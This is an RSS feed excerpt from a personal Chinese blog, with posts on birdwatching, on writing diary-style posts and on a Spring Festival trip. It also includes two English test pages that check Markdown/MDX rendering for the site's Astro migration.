&lt;p&gt;也是在读书分享会上第一次认识了山羊老师，然后知道了观鸟这种偏小众的爱好，恰逢深圳每到冬季，总有大批的候鸟来深圳过冬，深圳湾好多好多的海鸥、黑脸琵鹭，简直就是观鸟爱好者的天堂哈哈哈&lt;/p&gt;
&lt;p&gt;于是也开始入坑了观鸟和打鸟，设备升级了一轮哈哈哈，跟随着山羊老师的安排去了汕尾观鸟，喜提自然名——小翠&lt;/p&gt;
&lt;p&gt;不得不说山羊老师的安排非常合理，我们下高铁后就直奔住宿点，就在高铁站周围，环境尚可，楼下还有家烧烤店笑死&lt;/p&gt;
&lt;p&gt;紧接着的两天行程也安排的满满当当，本来规划自驾的，但考虑到去的地方都很偏僻，所以选择了包车，事后发现这是一个非常英明的决策，因为很多路段，不是老司机真的不会开&lt;/p&gt;
&lt;p&gt;第一次外出实地观鸟，新手光环buff叠满，我们直接远远地看到了彩鹮，在中国被认为灭绝了将近70年，近些年才有记录，被称为鸟中大熊猫&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/916aa1b841c2d27171b4d8e53896a004.jpg&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;这是它原本的样子：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/0608d297ebdebb96ac3d9ce63fbcfbcb.jpg&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;当然还有很多记录下来的鸟儿，不过为了节省点CDN基本都是压缩后的图片了，权且记录下&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/ad364df898b212f35e2787c3500775ca.jpg&quot; alt=&quot;ad364df898b212f35e2787c3500775ca&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/9e304cacac6a8b900c4149733fe34289.jpg&quot; alt=&quot;9e304cacac6a8b900c4149733fe34289&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/76789a591cf2cdd53c30e2b32b06ac21.jpg&quot; alt=&quot;76789a591cf2cdd53c30e2b32b06ac21&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/44d5ac9e25edd2d40c0bac26ef8e9fed.jpg&quot; alt=&quot;44d5ac9e25edd2d40c0bac26ef8e9fed&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/88e74d407ae8a627b500cd732541b700.jpg&quot; alt=&quot;88e74d407ae8a627b500cd732541b700&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/897c1021f8b2af1289c6b278177115af.jpg&quot; alt=&quot;897c1021f8b2af1289c6b278177115af&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/da581a1c4bfa68051a51259e8c03286a.jpg&quot; alt=&quot;da581a1c4bfa68051a51259e8c03286a&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/31cd2f3976450640e73d89d28ac962b6.jpg&quot; alt=&quot;31cd2f3976450640e73d89d28ac962b6&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/a611f5df06be3026880a2b8df30ae3f7.jpg&quot; alt=&quot;a611f5df06be3026880a2b8df30ae3f7&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/c55eae87a6f034347d57073943ec1bdd.jpg&quot; alt=&quot;c55eae87a6f034347d57073943ec1bdd&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/62214f1d69f5080f3ce27e9db6f38da7.jpg&quot; alt=&quot;62214f1d69f5080f3ce27e9db6f38da7&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/2fe7a0d2a5ae0a897961568adef96e12.jpg&quot; alt=&quot;2fe7a0d2a5ae0a897961568adef96e12&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/b5b8ca0f6583a8d712658712386fb537.jpg&quot; alt=&quot;b5b8ca0f6583a8d712658712386fb537&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/82b5a6dfff1504bf3149c0850f7ee0ef.jpg&quot; alt=&quot;82b5a6dfff1504bf3149c0850f7ee0ef&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/32461156bffc0b43f087ce7877e9933a.jpg&quot; alt=&quot;32461156bffc0b43f087ce7877e9933a&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/86fc16f65403ce62a99550ccaaff1feb.jpg&quot; alt=&quot;86fc16f65403ce62a99550ccaaff1feb&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何看待记录流水账</title><link>https://rayepeng.net/posts/%E5%A6%82%E4%BD%95%E7%9C%8B%E5%BE%85%E8%AE%B0%E5%BD%95%E6%B5%81%E6%B0%B4%E8%B4%A6/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%A6%82%E4%BD%95%E7%9C%8B%E5%BE%85%E8%AE%B0%E5%BD%95%E6%B5%81%E6%B0%B4%E8%B4%A6/</guid><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如何看待记录流水账&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;title: 如何看待记录流水账
tags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;生活&lt;/li&gt;
&lt;li&gt;思考&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;回看我的flomo记录，以“博客”关键词搜索，可以发现我的一些思考过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;觉得自己的周报是在记流水账&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;但是我又实在是没有太多能写的东西，我感觉记录每周发生的事情，是一种好的方式，但长期的流水账记录，让我不禁有些厌烦，文章应该言之有物，至少表明一个主题思想吧，仅仅是把自己的生活呈现出来，放上几张带自己水印的照片，越来越多的注重在图片上，而不是文字本身，似乎有失一点博客原本的价值了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;博客到底是为什么而写？&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;写博客的人基本上都说为自己写作，但是又有谁能真正做到这一点？读者的赞美、搜索引擎的流量，正慢慢地改变我们的写作方式，即使没有人直截了当地对你说，我想看这个，但还是会为了满足想象中的读者需要而写作。及时止损，即使要做一个“违背祖宗”的决定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;写博客的动力是什么？&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;于是我开始重新审视自己，最开始写博客的动力是什么？利用2P法，应该有两个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;持续不断地让自己输出有价值的东西&lt;/li&gt;
&lt;li&gt;记录自己生活的点滴，形成自己的“快照”&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;吐槽&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;圈子混久了就会觉得这群人都有毛病&lt;/p&gt;
&lt;p&gt;说实话我有点反感独立博客的那群人了&lt;/p&gt;
&lt;p&gt;我不喜欢自以为是的沟通&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;停更的原因里，“流水账”这个算是一个比较重要的原因，这周做了啥，发生了什么有意思的事情，以及拍了哪些照片，感觉每次都是这个套路，那这究竟有什么意义呢？&lt;/p&gt;
&lt;p&gt;意义当然是有的，我们的思维常常过于跳跃，就如同看到白臂膊，马上联想到一系列事情，看到“流水账”这个词，马上也会想到一些不好的东西，觉得这是坏的&lt;/p&gt;
&lt;p&gt;但我还是要问一句，真的就是这样么？流水账就真没用吗？你怎么去定义流水账呢？&lt;/p&gt;
&lt;p&gt;我们暂且不去考究这个词原来的含义（只是我懒得去整理了），流水账与之关联的词往往有：“枯燥”，“乏味”，“无聊”，“缺乏思考”，这些词算是一篇文章可以被称之为“流水账”的必要条件了，注意并不是充分条件&lt;/p&gt;
&lt;p&gt;我们为什么害怕流水账呢？ 本质上就是担心自己写的东西被认为是无聊或者balabala，那只要不无聊，只要有读者（自己也算是读者），只要读者觉得有趣（实际上也确是，经常回看的时候会发现原来我还经历过这么有趣的生活呀），这就足够了&lt;/p&gt;
&lt;p&gt;传说曾经有个国家，生活在这里的人记忆力都非常差，往往前一秒发生的事情，这一秒已经忘了，于是他们想了个办法，随身都带着一只笔，不停地记录&lt;/p&gt;
&lt;p&gt;于是你会发现这个国家的人在对话的时候特别有意思，一边嘴上在说，一边手里不停的在写，还要时不时看看自己所写的内容。&lt;/p&gt;
&lt;p&gt;你会觉得他们很可悲，因为我们的记忆力足够强，我们可以记住很多生命当中非常重要的事情&lt;/p&gt;
&lt;p&gt;但我宁愿成为那个国家的人，因为我愿意保持记录，随时回看自己的记录&lt;/p&gt;
&lt;p&gt;当然，这个故事是我瞎编的哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Markdown Render Test — Full Format Verification</title><link>https://rayepeng.net/posts/markdown-render-test/</link><guid isPermaLink="true">https://rayepeng.net/posts/markdown-render-test/</guid><description>Comprehensive test of Markdown / MDX rendering across all supported elements, with emphasis on image rendering.</description><pubDate>Fri, 06 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This document exercises &lt;strong&gt;every Markdown / MDX element&lt;/strong&gt; supported by the astrofu pipeline. If anything renders incorrectly, fix it here before migrating any real content.&lt;/p&gt;
&lt;h2&gt;Headings &amp;amp; Anchors&lt;/h2&gt;
&lt;h3&gt;H3 — Should Have a Trailing &lt;code&gt;#&lt;/code&gt; Anchor&lt;/h3&gt;
&lt;p&gt;Each heading above should render a clickable &lt;code&gt;#&lt;/code&gt; on the right via &lt;code&gt;rehype-autolink-headings&lt;/code&gt; (&lt;code&gt;behavior: &apos;append&apos;&lt;/code&gt;). Clicking it should jump to the corresponding fragment URL.&lt;/p&gt;
&lt;h4&gt;H4 — Deeper Heading&lt;/h4&gt;
&lt;hr /&gt;
&lt;h2&gt;Inline Formatting&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Bold text&lt;/strong&gt;, &lt;em&gt;italic text&lt;/em&gt;, &lt;s&gt;strikethrough&lt;/s&gt;, &lt;code&gt;inline code&lt;/code&gt;, and &lt;a href=&quot;https://docs.astro.build&quot;&gt;a hyperlink to Astro docs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Superscript: x&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt;, subscript: H&amp;lt;sub&amp;gt;2&amp;lt;/sub&amp;gt;O.&lt;/p&gt;
&lt;p&gt;Mixed: &lt;strong&gt;bold with &lt;code&gt;code&lt;/code&gt; inside&lt;/strong&gt; and &lt;em&gt;italic with &lt;a href=&quot;/&quot;&gt;a link&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lists&lt;/h2&gt;
&lt;h3&gt;Unordered&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;First item&lt;/li&gt;
&lt;li&gt;Second item
&lt;ul&gt;
&lt;li&gt;Nested item A&lt;/li&gt;
&lt;li&gt;Nested item B&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Third item&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Ordered&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Step one&lt;/li&gt;
&lt;li&gt;Step two&lt;/li&gt;
&lt;li&gt;Step three&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Task List&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;[x] Completed task&lt;/li&gt;
&lt;li&gt;[ ] Pending task&lt;/li&gt;
&lt;li&gt;[x] Another done item&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Blockquotes&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a simple blockquote.
It can span multiple lines.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nested quote:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a nested blockquote.
It should render with deeper left border.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Tables&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Headings&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;h1–h4 tested&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Images&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;See below&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code blocks&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Shiki dual-theme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Alerts&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;NOTE / TIP / WARN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Right-aligned:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Alice&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bob&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Images — Primary Focus&lt;/h2&gt;
&lt;h3&gt;1. Small Image (200x100)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dummyimage.com/200x100/4A90D9/ffffff&amp;amp;text=Small+200x100&quot; alt=&quot;Small test image — blue background&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Should display at natural size, centered within prose container. No overflow.&lt;/p&gt;
&lt;h3&gt;2. Medium Image (800x400)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dummyimage.com/800x400/50C878/ffffff&amp;amp;text=Medium+800x400&quot; alt=&quot;Medium test image — green background&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Should scale down if viewport is narrower than 800px. Should remain centered with proper figcaption.&lt;/p&gt;
&lt;h3&gt;3. Wide / Oversized Image (1600x600)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dummyimage.com/1600x600/E67E22/ffffff&amp;amp;text=Wide+1600x600&quot; alt=&quot;Wide test image — orange background&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Critical test&lt;/strong&gt;: must NOT overflow the prose container. Should scale to &lt;code&gt;max-width: 100%&lt;/code&gt; and remain centered.&lt;/p&gt;
&lt;h3&gt;4. Image with Title Attribute&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dummyimage.com/800x400/50C878/ffffff&amp;amp;text=Tooltip+Test&quot; alt=&quot;Medium with tooltip&quot; title=&quot;Hover over this image to see a tooltip&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hovering should display &quot;Hover over this image to see a tooltip&quot;.&lt;/p&gt;
&lt;h3&gt;5. Image as a Link&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/&quot;&gt;&lt;img src=&quot;https://dummyimage.com/200x100/4A90D9/ffffff&amp;amp;text=Click+Me&quot; alt=&quot;Click this small image to go home&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Clicking the image should navigate to &lt;code&gt;/&lt;/code&gt; (home page).&lt;/p&gt;
&lt;h3&gt;6. Image with Long Alt Text (Figcaption Check)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dummyimage.com/800x400/50C878/ffffff&amp;amp;text=Long+Alt+Text&quot; alt=&quot;A detailed diagram showing the architecture of the rendering pipeline including Markdown parsing, AST transformation, and HTML output stages&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt; element (if generated by prose.css) should wrap the alt text below the image.&lt;/p&gt;
&lt;h3&gt;7. Inline Image Within Paragraph&lt;/h3&gt;
&lt;p&gt;Here is an inline image: &lt;img src=&quot;https://dummyimage.com/200x100/4A90D9/ffffff&amp;amp;text=inline&quot; alt=&quot;small inline&quot; /&gt; — it should sit on the same line as the text, vertically aligned to the baseline or middle.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Code Blocks&lt;/h2&gt;
&lt;h3&gt;Plain (no language)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;This is a plain code block with no language specified.
It should still render with the default theme colors.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;TypeScript with Highlight&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
  console.log(&apos;hello&apos;, name) // [!code highlight]
  return `Hi, ${name}!`
}

greet(&apos;astrofu&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Diff&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- const old = &apos;Vite-SSG&apos;
+ const next = &apos;Astro&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Word Highlight&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const message = &apos;hello world&apos; // [!code word:&apos;hello&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;GitHub Alerts&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
This is a note alert. It should render with a blue left border and an &lt;code&gt;i&lt;/code&gt; icon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
This is a tip alert. Green left border, lightbulb icon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
This is a warning alert. Orange left border, warning icon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
This is a caution alert. Red left border, stop icon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;MagicLink Component&lt;/h2&gt;
&lt;p&gt;These should render with their respective logo icons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;Vue&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;Vite&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;Vitest&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;Nuxt&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;UnoCSS&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;MagicLink to=&quot;TypeScript&quot; client:visible /&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;HTML Inline Tags&lt;/h2&gt;
&lt;p&gt;Line break with&amp;lt;br /&amp;gt;forced break.&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;Click to expand details&amp;lt;/summary&amp;gt;&lt;/p&gt;
&lt;p&gt;Hidden content revealed on click. This tests raw HTML in MDX.&lt;/p&gt;
&lt;p&gt;&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Horizontal Rule&lt;/h2&gt;
&lt;p&gt;Above and below should render &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; elements.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Final Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] All headings have &lt;code&gt;#&lt;/code&gt; anchor links&lt;/li&gt;
&lt;li&gt;[ ] Images display centered, no overflow on wide image&lt;/li&gt;
&lt;li&gt;[ ] ImageZoom works on all images (click to fullscreen)&lt;/li&gt;
&lt;li&gt;[ ] Dark mode: images still visible, no broken backgrounds&lt;/li&gt;
&lt;li&gt;[ ] Code blocks switch theme with dark/light mode&lt;/li&gt;
&lt;li&gt;[ ] GitHub Alerts render with correct colors/icons&lt;/li&gt;
&lt;li&gt;[ ] MagicLink components show logos&lt;/li&gt;
&lt;li&gt;[ ] Table alignment correct&lt;/li&gt;
&lt;li&gt;[ ] Task list checkboxes render&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>P3 — MDX Pipeline Demo</title><link>https://rayepeng.net/posts/p3-mdx-demo/</link><guid isPermaLink="true">https://rayepeng.net/posts/p3-mdx-demo/</guid><description>Demonstrating MDX with Vue components, headings, magic links, and code blocks.</description><pubDate>Sun, 01 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This page exists to &lt;strong&gt;verify P3&lt;/strong&gt; of the astrofu migration plan:
the Markdown pipeline has been upgraded to MDX, headings get clickable &lt;code&gt;#&lt;/code&gt;
anchors via &lt;code&gt;rehype-autolink-headings&lt;/code&gt; (&lt;code&gt;behavior: &apos;append&apos;&lt;/code&gt;), code blocks
carry the &lt;code&gt;.shiki&lt;/code&gt; class so the antfu.me &lt;code&gt;markdown.css&lt;/code&gt; rules light up,
and MDX components hydrate as Vue islands.&lt;/p&gt;
&lt;h2&gt;Magic links&lt;/h2&gt;
&lt;p&gt;Inline tech name with a logo: &amp;lt;MagicLink to=&quot;Vue&quot; client:visible /&amp;gt;,
&amp;lt;MagicLink to=&quot;Vite&quot; client:visible /&amp;gt;, &amp;lt;MagicLink to=&quot;Astro&quot; client:visible /&amp;gt;,
&amp;lt;MagicLink to=&quot;UnoCSS&quot; client:visible /&amp;gt;.&lt;/p&gt;
&lt;h2&gt;Code with notation transformers&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string) {
  console.log(&apos;hello&apos;, name) // [!code highlight]
  return `hi, ${name}`
}

greet(&apos;astrofu&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- const old = &apos;antfu.me on Vite-SSG&apos;
+ const next = &apos;astrofu on Astro&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;GitHub-style alert&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
If you can read this in a tinted box with an &lt;code&gt;i&lt;/code&gt; icon and a colored left
border, then &lt;code&gt;remark-github-alerts&lt;/code&gt; is wired up correctly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
The &lt;code&gt;## Magic links&lt;/code&gt; heading above should have a small &lt;code&gt;#&lt;/code&gt; to its right
on hover — that is &lt;code&gt;rehype-autolink-headings&lt;/code&gt; in &lt;code&gt;append&lt;/code&gt; mode.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Inline &lt;code&gt;code&lt;/code&gt; and a link&lt;/h2&gt;
&lt;p&gt;This paragraph contains &lt;code&gt;inline code&lt;/code&gt; and an external link to
&lt;a href=&quot;https://docs.astro.build&quot;&gt;the Astro docs&lt;/a&gt; — which should open in a new tab.&lt;/p&gt;
</content:encoded></item><item><title>周报36 迟来的春节记录</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A536-%E8%BF%9F%E6%9D%A5%E7%9A%84%E6%98%A5%E8%8A%82%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A536-%E8%BF%9F%E6%9D%A5%E7%9A%84%E6%98%A5%E8%8A%82%E8%AE%B0%E5%BD%95/</guid><pubDate>Thu, 06 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报36 迟来的春节记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPNUh2hdFSEugysNBja7o2eHis1Kwv2T33g6rVCBfAuva.png&quot; alt=&quot;zhoubao36&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实过年在家就应该记录一下的，但一直忘了hhh，在家基本都是在看书休息，也没做什么事情，但与以往不同的是，这次是第一次买了相机之后回家的&lt;/p&gt;
&lt;p&gt;以往春节回家都是不太想出去的，天气冷，熟悉的朋友也基本都是要回乡下过年（我倒是不用回乡下，一直在城里），除了找找陌生人打羽毛球之外似乎也没啥能做的&lt;/p&gt;
&lt;p&gt;但今年是第一次买了相机后带回家的，作为一名自诩为风光摄影师的刚入门新手，第一次有了一种迫不及待想要出门的动力，于是在回家的头两天，每天早上6点多就起床出门去爬山了&lt;/p&gt;
&lt;p&gt;第一天早上没蹲到日出，但是天气还算不错，拍了几张西湖山的照片&lt;/p&gt;
&lt;p&gt;第二天早上继续爬山，竟然第一次看到云海！尽管这座山也就200米出头，但却能真实地感受到云海的流动，以至于有朋友看了照片以为我是用无人机拍的&lt;/p&gt;
&lt;p&gt;下山边修图的途中，《滕王阁序》的一句“俨骖騑于上路，访风景于崇阿”突然击中了我，细想一下还挺适合风光佬的
其实过年在家就应该记录一下的，但一直忘了hhh，在家基本都是在看书休息，也没做什么事情，但与以往不同的是，这次是第一次买了相机之后回家的&lt;/p&gt;
&lt;p&gt;以往春节回家都是不太想出去的，天气冷，熟悉的朋友也基本都是要回乡下过年（我倒是不用回乡下，一直在城里），除了找找陌生人打羽毛球之外似乎也没啥能做的&lt;/p&gt;
&lt;p&gt;但今年是第一次买了相机后带回家的，作为一名自诩为风光摄影师的刚入门新手，第一次有了一种迫不及待想要出门的动力，于是在回家的头两天，每天早上6点多就起床出门去爬山了&lt;/p&gt;
&lt;p&gt;第一天早上没蹲到日出，但是天气还算不错，拍了几张西湖山的照片&lt;/p&gt;
&lt;p&gt;第二天早上继续爬山，竟然第一次看到云海！尽管这座山也就200米出头，但却能真实地感受到云海的流动，以至于有朋友看了照片以为我是用无人机拍的&lt;/p&gt;
&lt;p&gt;下山边修图的途中，《滕王阁序》的一句“俨骖騑于上路，访风景于崇阿”突然击中了我，细想一下还挺适合风光佬的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNsYpNRR1yqTQNGkBMZPNEyWi1sHWz1DCUfmTutAk7Kz8.jpeg&quot; alt=&quot;3bd41791584f40a3a1d2cb201c856208&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPxjYsCJtJ9PVgLb827DuzBft6RGqKXPpHRuoDbxumjSu.jpeg&quot; alt=&quot;83e3e73caf0a4cc0acb2c25520a44913&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRhczMDS8oVVkFUoAzHFWn92qdjW6fN9jicoGhDft58wq.jpeg&quot; alt=&quot;f23e740ba046434f96d4e993dda5f521&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNs4aaHRsaXks7x9VbHHmbKTcWKKrsoLrgGoyqxJqzkqM.jpeg&quot; alt=&quot;DSC06113&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcinGbrjwznwvEg5N85cEedbw5xc8jGvBJuW5hWcYawBX.jpeg&quot; alt=&quot;IMG_3044&quot; /&gt;&lt;/p&gt;
&lt;p&gt;记录下春晚&lt;/p&gt;
&lt;p&gt;漫才兄弟表演的太好了&lt;/p&gt;
&lt;p&gt;我连续刷了好多次漫才兄弟的表演，非常上头，湖南塑普，加上无厘头的搞怪，他们在脱口秀的表演节目基本都是模拟某个场景，如租房，打车，去餐馆吃饭&lt;/p&gt;
&lt;p&gt;这些场景中总是能融入一些对现实的讽刺，最后决赛的演出是模拟丧尸剧，其中一句“现在酒店不都有摄像头”，又好笑又直戳现实，更绝的是在最后的一小段两人历数所有演出的模拟场景，“你讲漫才的旁边一直是老子晓得不”哈哈哈哈太有意思了&lt;/p&gt;
